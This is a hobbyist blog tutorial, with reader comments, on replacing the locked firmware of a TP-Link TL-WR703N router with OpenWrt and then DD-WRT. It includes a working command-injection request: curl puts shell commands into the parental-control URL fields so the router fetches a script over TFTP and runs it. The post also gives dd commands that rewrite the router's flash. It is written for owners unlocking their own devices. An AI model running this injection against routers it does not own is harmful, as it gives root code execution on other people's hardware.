I bough this small little thing with the objective of taking it everywhere whenever I go on vacations and use it with a usb data card or simply as a wifi repeater. I was very excited when it arrived and immediately started to google how I could change the original FW to DD-WRT and that was when I realized that my unit came with a locked build (meaning I cannot simply upload DD-WRT firmware through the chinese web interface).
So my unit was running the version 3.17.1 Build 140120. After googling for a while I found a solution which I’ll be sharing with you below.
You can check the version here:
Preparing the Linux environment
Linux machine with curl and tftp server installed. I used Ubuntu 15.10.
sudo apt-get update sudo apt-get install curl sudo apt-get install xinetd tftpd tftp sudo nano /etc/xinetd.d/tftp
and paste the following content inside:
service tftp { protocol = udp port = 69 socket_type = dgram wait = yes user = nobody server = /usr/sbin/in.tftpd server_args = /tftpboot disable = no }
create the folder /tftpboot
sudo mkdir /tftpboot sudo chmod -R 777 /tftpboot sudo chown -R nobody /tftpboot
create a file just to test the transfer afterwards
echo testtest > /tftpboot/test
restart the xinetd service
sudo service xinetd restart
for older systems
sudo /etc/init.d/xinetd restart
test the connection with your tftp server
cd /tmp tftp localhost tftp> get test Sent 159 bytes in 0.0 seconds tftp> quit
Creating the necessary files for the firmware replacement
Obtaining the BusyBox binary:
cd /tftpboot curl https://busybox.net/downloads/binaries/1.26.2-defconfig-multiarch/busybox-mips > busybox
Download OpenWrt image:
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
Cut the OpenWrt image into 2 parts
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576 dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
Before continuing, disconnect from computer from the wifi and/or internet router and power and plug a rj45 cable between your pc and your wr703n. Let it power up until the blue led is stable. Press the reset button until it starts to blink fast and release it. This will make sure your router is set to factory setting and that the next steps will succeed.
Create a file named “aa”
sudo nano aa
with the following content (make sure you replace the IP address there with the IP from your computer)
cd /tmp tftp -gl i1 192.168.1.100 tftp -gl i2 192.168.1.100 tftp -gl busybox 192.168.1.100 chmod 755 busybox ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync ./busybox reboot -f
ps: make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running.
Change the file permissions:
sudo chmod 777 aa
Check that you have 5 files in your tftpboot folder:
ls -la
-
openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
-
busybox
-
i1
-
i2
-
aa
Installing OpenWrt (Lets hack the thing! ☺)
WARNING: DO NOT POWER OFF OR DISCONNECT THE ETHERNET CABLE FROM THE EQUIPMENT DURING THE NEXT STEPS. INTERRUPTING IT WILL BRICK THE DEVICE. Hopefully, if you do, there’s a way of bringing it back from the dead.
Make sure to edit the IP addresses in the next steps to yours. In my case, 192.168.1.1 was the router IP and 192.168.1.100 was IP assigned to the PC.
First it wants a password set, let’s do that. (the password is admin42 after this).
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
Secondly it wants to have parental control enabled (probably the once in a lifetime opportunity to use this).
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
Now lets exploit the thing.
What the below command does is making the router get thought tftp the file aa and run it. If you look carefully to the curl below, you will see: “cd /tmp; tftp -gl aa 192.168.1.100; sh aa”
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
The blue led will start blinking after some time, meaning it’s loading OpenWrt. Wait until it becomes solid again.
OpenWrt doesn’t have a web interface, you have to get it, it’s called LuCi but first you need to connect to the internet. There’s more information about it here: https://wiki.openwrt.org/doc/recipes/index#
Checking that Open WRT is installed:
ssh 192.168.1.1 login as: root
You should see this:
Changing to DD-WRT (a more user friendly firmware)
For the next steps I used a Windows machine.
SSH to your wr703n router. I used putty.
cat /proc/mtd
dev: size erasesize name
mtd0: 00020000 00010000 "u-boot"
mtd1: 000d9fa8 00010000 "kernel"
mtd2: 002f6058 00010000 "rootfs"
mtd3: 000f0000 00010000 "rootfs_data"
mtd4: 00010000 00010000 "art"
mtd5: 003d0000 00010000 "firmware"
mtd5 partition is were you will be writing the dd-wrt new firmware. In my case it’s called firmware.
Connect your pc to you internet router, access DD-WRT FTP website and download the latest image for your WR703N. Search for “tplink_tl-wr703nv1” or just use the one I got. Make sure to donwload the “factory-to-ddwrt.bin” file. If you download the webflash one, you will brick your device.
ftp://ftp.dd-wrt.com/betas/2015/01-04-2015-r25760/tplink_tl-wr703nv1/factory-to-ddwrt.bin
EDIT:
———————————————————————–
Attention! The latest good firmware for this router is r25760. DD-WRT team changed the kernel version in the next release and this introduced an issue with USB power. In the latest releases the USB driver module doesn’t even exist!…
For more information, please check these posts:
http://www.dd-wrt.com/phpBB2/viewtopic.php?t=278732
http://www.dd-wrt.com/phpBB2/viewtopic.php?t=306917
———————————————————————–
DO NOT POWER OFF OR DISCONNECT THE ETHERNET CABLE DURING THE NEXT STEPS.
Send the file to your router. Make sure to send it to /tmp (ram). I used WinSCP for this. After installing it, select SCP file protocol and user the user and password “root”.
SSH your router again and proceed with the flashing. Remember that powering off the unit during the upload will brick it. The process of uploading can take some minutes.
mtd -r write /tmp/factory-to-ddwrt.bin firmware
Open your browser and open http://192.168.1.1/ and there you have it!
Page were you can find a lot of information and mods for this little device.
https://wiki.openwrt.org/toh/tp-link/tl-wr703n
ps: there might be a way of going directly to DD-WRT but I was not completely sure how to do it
ps2: for the next updates, after you install dd-wrt, use the webflash firmware versions to update.
Troubleshooting tips:
If the guide above fails at some step, try these:
- when connecting your wr703 to your linux machine using the Ethernet cable, try setting the PC ip to 192.168.1.9
- make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running
- test the tftp connection from other pc in the same network (tftp <server IP address>)
- reboot right before the curl commands
hi mi interface is in chines and i want to know can i just go and update it directly with the dd-wrt factory-to-ddwrt.bin file in the window interface or i hav to install ferst openwart and after dd wrt bye comand line and will it chang the chines to eanglish ?? thanks
Alex.L
LikeLike
Hi, This method is for units running V3.17.1 Build 140120. I’ll add more details about it. You can look here what version you have. http://wiki.villagetelco.org/images/9/99/Tplink2.jpg
If you have a lower build number, you can update through the web interface directly I think. You just need to use the file factory-to-ddwrt.bin. If you are unable, I’m not sure because I haven’t investigated it, but this might apply for your router also.
LikeLike
Hi,
I have followed exactly the steps described and everything goes well until the exploit itself.
I execute the command but nothing seems to happen: I get a result (http://pastebin.com/XwB3RsEG) but the blue led never blinks.
Confirmations:
– The IPs are correct. I got the same ones as you (192.168.1.1 router; .100 tftp server);
– Admin password is now admin42;
– Parental control command executed before (http://pastebin.com/xcGNUGTc);
– FW Relase number is:
当前软件版本: 3.17.1 Build 140120 Rel.56593n
当前硬件版本: WR703N v1 00000000
当前工作模式: 3G 路由模式
Any clues on what can be the reason for this not working with me?
Thank you
LikeLike
Hi,
I had your problem also. It shouldn’t give you html pages as the output on the command line. You must reset the router before you start the 1st curl command. What the first curl does is set the password of the router to “admin42”.
hope you can do it. Let me know how it goes.
LikeLike
another thing. try to see if other machines have access to the tftp server not only the one that is running it.
LikeLike
Hi,
Just had the chance to try again today. Here’s the results:
1. Reset the router
– Done it;
– Confirmed that the web GUI asks to define the password;
– Ran the cURL 1st command, returned HTML;
– Confirmed that the web GUI now logs in with “admin42”;
– Ran the cURL 2nd command, returned HTML;
– Confirmed in the web GUI that the parental control id enabled;
– Ran the cURL 3rd command, returned HTML;
– No OpenWRT upgrade 😥
2. Access to TFTP server from other machines
– I can’t access from other machines on my wireless network to the server;
– I can ping my TFTP server;
– Firewall disabled
Probably it has to do with the last one. Any suggestions to move forward?
Thank you
LikeLike
Hi,
Try to issue in the pc running the server the following commands.
cd /home
tftp 192.168.1.100 get aa
tftp -gl i1 192.168.1.100
cat aa
cat i1
and see if both files were transferred to your /home directory
maybe your tftp server doesn’t like the commands. I dunno what’s happening but if the last curl doesn’t do anything it’s because your wr703n is not getting those files.
here is a list of the commands you can use with tftp
http://www.tutorialspoint.com/unix_commands/tftp.htm
LikeLike
to everyone having problems with the router returning html after the 3rd curl, make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running.
LikeLike
Obtaining the BusyBox binary:
cd /tftpboot
curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox
Change this to HTTPS
curl https://busybox.net/downloads/binaries/latest/busybox-mips > busybox
Might solve the mentioned issues.
regards,
Louis
LikeLike
Hi
I am using a windows 10 environment..
I am using tftpd64
my first curl commands produces the following
C:\Curl>curl -o – -b ‘tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true’ ‘http://192.168.1.1/’
curl: (6) Could not resolve host: subType=pcSub;
curl: (6) Could not resolve host: Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;
curl: (6) Could not resolve host: ChgPwdSubTag=true’
curl: (1) Protocol ‘http not supported or disabled in libcurl
LikeLike
I dunno the syntax in windows but i gess it is treating each string between ´´ as an individual host. Maybe you should put everything after the -b between quotation marks.
LikeLike
I followed your suggestion and all commands show html script;
The first one succeed as the password was changed to admin42; the other 2 commands didn’t transfer the firmware and the starting page is still Chinese.
I didn’t see a blinking light.
I suspect that my Tpft set up is not correct.
LikeLike
curl -o – -b ‘tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=’ –referer ‘http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1’ ‘http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6’
here the router needs to access your computer through tftp and fetch the 5 files. So you need a tftp server running and accessible in your computer.
Where 192.168.1.100 should be replaced by the ip of your computer when connected to the wr703n
you should also try to tftp your own tftp server and see if you can get one file.
cd /home
tftp 192.168.1.100
get aa
LikeLike
Thanks a lot for your help, I am finally done with the upgrade!
I installed Solarwinds tftp server and managed to run all curl commands successfully.
It is a great tutorial especially for networking novice people like myself.
Regards,
LikeLike
Thanks for the feedback 🙂
LikeLike
tiaafo
Still having some problems similar to what b4silence reported above. In my case, I also know that the first curl command works because it takes admin42 password on the web browser configuration window. I could not confirm if the second curl command works since I’m not versed in chinese. When entering the third curl command, it takes about 3 seconds to put out an output similar to what b4silence has posted. The blue LED on the router never flashes and the router retains chinese firmware.
For this install, I used Ubuntu 15.10 64-bit as a VirtualBox client on a Windows 7 laptop. I followed the instruction step-bystep and made sure I could retrieve from another Ubuntu VM on a different computer files from the /tftpboot through the TFTP Server. The router is a TL-WR703N v3.17.1 Build 140120 Rel.56593n. I also noticed that stock username/password for this router was admin1/admin1, unlike most other WR703N routers. Not sure if this impacts the curl script, but I assume if it was a problem it would have been with the first curl command.
Not sure if b4silence found a solution to this problem. If so, I would appreciate some help, since it seems we have similar problems.
LikeLike
Hi,
I’m sure the secund curl also works. The problem you have is the same everyone else has, the 3rd curl, where the wr703 will access your tftp server to get the files.
The 1st curl changes the password from whatever it is to admin42. Try to login into the router web page after changing it and see if it is admin42 because the next curl commands use this password. (I don’t remember what was the username… admin??? admin1??? try it and let me know of the progress 🙂
LikeLike
ps: I saw somewhere that it’s better to set the PC IP to 192.168.1.9 please try also this.
edit1: make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running.
edit2: there’s also a procedure using windows but it’s in chinese
https://boweihe.me/2015/11/02/wr703n-v1-7-%E7%A0%B4%E8%A7%A3openwrt%EF%BC%88%E6%8F%90%E7%A4%BA%E5%AF%86%E7%A0%81%E9%94%99%E8%AF%AF%E7%AD%89%E9%97%AE%E9%A2%98%E7%9A%84%E8%A7%A3%E5%86%B3%EF%BC%89/
LikeLike
tiaafo
I’m having similar problems to what b4silence reported above. In my case, I can also confirm that after the first curl cmd, the password changes to admin42. Not sure if the second curl cmd works, since not versed in chinese. After entering the third curl cmd it waits 3-4 seconds before putting out a similar output posted by b4silence, but the router blue LED stays solid and some time later I can still access the tplink Chinese browser configuration menu.
I used Ubuntu 15.10 64-bit as a virtual machine client on a Windows 7 64-bit laptop. The Ubuntu VM had an IP of 192.168.1.101. I was able to connect to the TFTP server and transfer files from a different computer running Ubuntu 14.04 64-bit VM.
My router is also v3.17.1 Build 140120 Rel.56593n and default username/password is admin1/admin1, which is different that most wr703n routers. Not sure if this causes problems with the scripts.
b4silence, if you have resolved your problem, please share how you did it. I would appreciate if those that found a solution for similar problems, could share some information. I will try tomorrow Louis recommendations.
LikeLike
tiaafo
Still having some problems similar to what b4silence reported above. In my case, I also know that the first curl command works because it takes admin42 password on the web browser configuration window. I could not confirm if the second curl command works since I’m not versed in chinese. When entering the third curl command, it takes about 3 seconds to put out an output similar to what b4silence has posted. The blue LED on the router never flashes and the router retains chinese firmware.
For this install, I used Ubuntu 15.10 64-bit as a VirtualBox client on a Windows 7 laptop. I followed the instruction step-bystep and made sure I could retrieve from another Ubuntu VM on a different computer files from the /tftpboot through the TFTP Server. The router is a TL-WR703N v3.17.1 Build 140120 Rel.56593n. I also noticed that stock username/password for this router was admin1/admin1, unlike most other WR703N routers. Not sure if this impacts the curl script, but I assume if it was a problem it would have been with the first curl command.
Not sure if b4silence found a solution to this problem. If so, I would appreciate some help, since it seems we have similar problems.
Thanks,
LikeLike
have you tested it like I said? Are you sure wt703 can access your tftp server?
those htlm pages that the router returns are usually error pages because the files are inaccessible.
edit: I changed some commands. make sure the aa file is executable
LikeLike
Hi all,
I would like to give you good news but, unfortunately, I’m afraid I can’t 😦
I tried with 2 different ubuntu pcs, different versions, different TFTP servers, different curl commands, tried with a windows 7 box with TFTP solarwind, all with the same result:
1. changing the password is ok: I log in after running the command with admin42
2. enabling parental mode is ok: That’s right, I used google translate to be able to read the firmare pages so I could be sure
3. I cannot get the files transferred to the router! Not sure why, but we must be doing some obvious mistake, probably network or TFTP server version related…
Successful people: can you give us the versions of the OS, TFTP server used, network settings, etc. so we can try to spot what are we getting wrong?
Thanks!
LikeLike
tiaafo/b4silence,
Good news, my wr703n v1.7 is now running DD-WRT.
I reviewed the additions you made and noticed that you had added the “sudo chmod 777 aa”. It made sense to me since this problem had to be related to aa not executing either for lack of access to the TFTP Server or something in the file not executing properly. Before testing your new recommendation, I decided to first test Louis recommendation to change the curl command for downloading busybox using HTTPS instead of HTTP (curl https://busybox.net/downloads/binaries/latest/busybox-mips > busybox). So I deleted the busybox file and created the new file using the method referenced above. Then restarted the TFTP Server, tested my connection and executed the three curl commands. I received the same output on the first two commands (similar to what b4silence has posted). This time around there was no output response for curl command 3. After 10-15 seconds the router LED started flashing and when it became solid I was able to SSH to OpenWRT.
I have one question, you state that loading DD-WRT webflash bricks the router. Instead we should use factory-to-ddwrt.bin for this step. Once completed and in DD-WRT, will there be any problems updating with the webflash (future versions, etc)?
Note that with DD-WRT the LED only blinks during power on and then goes off. This is a known problem with DD-WRT. I had previously upgraded a wr703n v1.6 directly through the webpage and it exhibited the same problem.
Thanks for all your efforts in this guide.
LikeLike
Hi b4silence, see the update.
I forgot to add the command “sudo chmod 777 aa”
The aa file needs to be executable. Sorry for missing that instruction! Hope you can change the FW
@EEMene
No, you can update anytime using the webflash firmwares without any problem.
About the LED, I don’t think it’s a problem, I think it has its behaviour changed after the update. It only blinks when there’s some network activity. Maybe to reduce power consumption. I dunno.
LikeLike
Hi,
Thanks guys! Nice to know we have another one working properly! 🙂
I’ll give it another try on mine next weekend and let you guys know of the outcome.
Cheers
LikeLike
Hi all,
As promised, I tried again and it… WORKED!! 😀 😀 😀
I’m adding my name to the w703n v1.7 owners with OpenWRT!!
Tried with Ubuntu 15.10, following the intructions in the post. What did I do different?
1st try:
– confirmed access to tftp server from other PCs
– sudo chmod 777 aa
– used Louis’s suggestion to download busybox via https
Result: didn’t work 😦 exactly the same thing happened: everything ok, until the transfer of the files to the router
2nd try:
– reboot (the theory was that, perhaps, some service or configuration wasn’t properly setup)
Result: worked!! 🙂 the 3rd command didn’t return html (it was processing) and the led start blinking, as described
My suggestion would be to add to the post (in the main section or a troubleshoot):
– testing the tftp connection from other pc in the same network
– include a reboot right before the curl commands
– change the busybox URL to https://…
Thank you all for your help and hope my experience helps others save some troubles! 🙂
LikeLike
b4silence
Congratulations …
Not sure if you also used Ubuntu 15.10 on a VirtualBox VM on a Windows 7 Host. But if so and as you noted, it requires a reboot after testing TFTP with other computers. I also restarted the TFTP server (sudo /etc/init.d/xinetd restart) just be be sure. In my case this was because when disconnecting from the home network after testing with other computers and switching back to the WR703N router, Ubuntu VM does not acquired the IP address automatically, unless you reboot.
In my first try, I wanted to isolate the problem with curl #3. So, the only thing I changed from before was implementing Louis recommendation, by deleting the busybox file from /tftpboot and replacing it with one downloaded using the https URL. I believe this is was resolved our problem. Cannot explain why we had this problem and others before us didn’t, unless the busybox file was updated when we attempted this upgrade.
Hopefully this helps others with that same curl #3 problem.
R/
LikeLike
I’m sure I didn’t use HTTPS when I changed the FW in mine but maybe it’s now needed.
Thanks a lot for your feedback 🙂
LikeLike
hi. could you make a tutorial step by step with a screenshot please.
or could u email me the step by step with a screenshot.
sorry coz im new in linux and kinda blur working on it and still stuck at process sudo /chmod…
LikeLike
Hi! Sorry for the late response. I think the tutorial is very detailed. If you have no idea of what you are doing, maybe you sholdn’t do it.
But, anyway, every command that you see it needs to be run a in linux command line window and it’s pretty much straight copy/paste.
LikeLike
Hi,
has anyone tried this version?
ftp://ftp.dd-wrt.com/betas/2016/11-14-2016-r30880/tplink_tl-wr703nv1/
LikeLike
I haven’t but i’m willing to update mine. Why do you ask?
LikeLike
Just to know what kind of changes they made since 12-03-2015-r28417 version.
And to see if I should update mine or not
LikeLike
I updated my dir-825 and I can tell you that the wifi is more stable.
LikeLike
Thanks! I will update mine as well 🙂
LikeLike
Hello,
I have the same problem has many here, but unfortunately it has been 4 hours of trials and failures without any progress.
I have followed the steps, but one might cause the issue… i can get tftp> get test to work on its own i need to execute get 192.168.1.101 which is my computer IP for it to work.
Also tftp -gl i1 192.168.1.100 doesn’t work on its own… it returns usage: tftp host-name [port]
Any ideas suggestions ?? I am so depressed right now 😦
LikeLike
Hi,
Maybe you installed a new or different version of tftp. See tftp -h for instructions on how to use it.
Hope you manage to change the fw.
LikeLike
I have spent days reading how we cannot upgrade the WR-703N until I found this one. But the instructions fail on mine. The best progress I got was “admin42” and Parental Control on.
There is no trouble shooting or reference for when things go wrong. Originally the TFTPD packages just wouldn’t ATFTPD package instead. atftpd made the files goto /srv/tftp
Now I get local file transfers on same host, but not to another Linux box nor the ROUTER.
The reset process is not explained, but I left the reset pressed for about 5 to 10 seconds. After a few flashes from the blue LED, it settled down enough to connect to 192.168.1.1
I got the password to change and the parent control on. More often I got HTML page dumps.
PING works, http://192.168.1.1 works…
I also can find no reference to any tftp which uses tftp -gl file host
LikeLike
to everyone having problems with the router returning html after the 3rd curl, make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running.
LikeLike
test your tftp server while in the home network. you should be able to access it from another computer. if not, restart the machine and/or check for firewall issues. After you are able to access the tftp server from another machine, the wr703 will be able to access the linux machine running tftp to get those files.
people fail at all points. it’s impossible for me to say and imagine what can go wrong for each person as each one has different linux skills, some might even have none and have no ideia of what they are doing. I tried to make this noob proof but i might have failed.
LikeLike
I have been with Linux for decades… I just cannot get tftp working under Linux Mint. I tried four variants!
LikeLike
Why not try ubuntu 15?
LikeLike
Thanks, I will try that and report back
LikeLike
to everyone having problems with the router returning html after the 3rd curl, make sure the aa file is created with Unix type (\n) at the end of each line instead of windows type (\r\n) as this will prevent the script from running.
LikeLike
Thanks for all of the support!
There are a few comments on the instructions.
I did end up trying Ubuntu server 16.0.4 LTS
I used the default instructions to install xinetd, tftpd, tftp.
The local files and permissions all setup, but the default
folder for tftpd was /srv/tftp. I changed the line
server_args = /tftpboot (and removed the /)
server_args = tftpboot
Now, the folder /tftboot worked for local download.
however the instruction to run tftp should read…
tftp localhost
…or the ip-address of your tftpd server (found by ifconfig)
Final issue was the link to…
curl http://busybox.net/downloads/binaries/latest/busybox-mips > busybox
…is no longer active. It looks like it downloads a small file, but is actually
an HTML message that the file is no longer available. Try going to…
https://busybox.net/downloads/binaries/1.26.2-defconfig-multiarch/busybox-mips
After I got OpenWRT working and saw its complexity, I did opt for the
dd-wrt as instructed and it upgraded flawlessly.
LikeLike
thanks a lot for you feedback 🙂
I’m going to edit the instructions based on your findings.
LikeLike
Hi! Stumbled on your post and see the unique possibility to convert my paper weight into something usefull again, but I have a curiosity: If, after flashing OpenWRT, I flash the dd-wrt-to-factory image, is it possible to, then, flash another firmware, like MR3020, as with older WR703N unities? Thanks in advance!
LikeLike
hi, You mean installing MR3020 dd-wrt firmware into the wr703n? has anyone done it? I think you will run into problems but if you want to take the risk…
LikeLike
No, I mean installing MR3020 stock firmware into WR703N. I have an older WR703N (not sure exactly the version) that I did just this: directly flashed MR3020 firmware from the stock chinese one.
LikeLike
sorry, I’m lost. You want to know if after flashing the DD-WRT firmware you can return back to the MR3020 firmware?
You can, but not from the dd-wrt web page.
You can find the procedure to revert here:
https://forum.openwrt.org/viewtopic.php?pid=198336#p198336
LikeLike
Flashing should work the same, but I believe there are some hardware differences between these models
LikeLike
from what I read, MR3020 just has additional leds.
LikeLike
Btw the link for openWRT is dead, it leads to a blank site and bricked my router.:
https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
I didn’t check ahead of time and accidentally loaded that empty site onto the router and bricked it. Thankfully I got another one and found the correct openwrt download image.
LikeLike
sorry for the late reply. A router is never trully bricked. you just wrote the firmware partition with an empty file. the router can be recovered with a programmer CH341A and usually also, by serial cable as uboot will still be there.
LikeLike
btw, not sure why you say the page is blank. it’s working for me.
LikeLike